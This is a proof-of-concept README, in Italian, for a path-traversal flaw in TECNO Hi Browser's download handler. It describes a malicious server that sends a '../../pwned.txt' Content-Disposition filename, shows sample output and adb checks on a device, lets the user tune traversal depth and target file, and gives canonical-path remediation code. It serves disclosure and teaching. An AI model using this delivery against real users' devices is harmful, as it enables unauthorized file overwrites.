
PoC Python per la vulnerabilità di path traversal CVE-2026-18907 nel gestore di download del browser TECNO Hi. Include un server HTTP dannoso e un downloader semplice per dimostrare la correzione.
Prova di concetto per CVE-2026-18907 (CVSS 7.5 High, CWE-23), una
vulnerabilità di attraversamento di percorso relativo nella funzione di
download dei file di TECNO Hi Browser (com.talpa.hibrowser) versione
2.23.1.1. Il browser si fidava di un nome file Content-Disposition
controllato dall'attaccante e lo concatenava alla directory di download senza
sanificare i separatori di percorso né verificare il percorso canonico del
risultato — quindi le sequenze ../ nel nome file permettevano che il corpo
della risposta venisse scritto fuori da Download/, in qualsiasi percorso
consentito dai permessi di archiviazione del browser.
Questo PoC non include l'APK proprietario
com.talpa.hibrowser. Dimostra (a) l'esatta consegna HTTP dannosa e (b) la classe di causa principale del bug (un downloader che si fida di un nome file della risposta come componente di percorso). La stessa primitiva è ciò che CVE-2026-18907 descrive.
| File | Scopo |
|---|---|
evil_server.py | Il server HTTP dannoso. Restituisce una risposta il cui nome file Content-Disposition contiene ../. Questa è la consegna. |
naive_downloader.py | Un downloader minimale che riproduce il pattern vulnerabile join(dir, filename), insieme alla versione corretta (basename + contenimento canonico), così puoi osservare la fuga in una singola esecuzione. |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
La join vulnerabile produceva /tmp/demo/Download/../../pwned.txt, il sistema
operativo risolveva i .., e il file veniva scritto in /tmp/pwned.txt —
fuori dalla directory di download. Il percorso corretto applicava prima
os.path.basename() (i ../ sono informazione sul percorso e vengono scartati,
lasciando pwned.txt) e poi verificava che il percorso canonico rimanesse
all'interno della directory di download.
Avvia evil_server.py su un host raggiungibile dal dispositivo di test, quindi
naviga con un browser vulnerabile su http://<host>:8000/. Su un browser che
avvia automaticamente i download di tipo attachment e non sanifica il nome
file, il file viene scritto in un percorso risolto dalla catena di ../.
Verifica che il contenimento sia fallito con adb:
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
Regola la profondità di risalita in base al dispositivo con --depth (il valore
predefinito 2 risale da /sdcard/Download/ a /sdcard/; aumentalo per salire
più in alto), e il basename finale con --target.
Per qualsiasi download manager, l'intera classe CWE-23 si riduce a due abitudini applicate insieme:
/ compreso.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
Non mettere in blacklist ../ — l'insieme delle codifiche equivalenti
all'attraversamento è aperto. Canonicalizza, poi confronta. Quell'algoritmo è
chiuso.
Esegui il server solo su una rete che controlli e testa solo su un dispositivo di tua proprietà. Una scrittura per attraversamento di percorso è, per definizione, una primitiva di scrittura di file — non puntarla su nulla che non sei disposto a sovrascrivere.
MIT — consulta l'articolo di accompagnamento per l'attribuzione completa e le fonti primarie.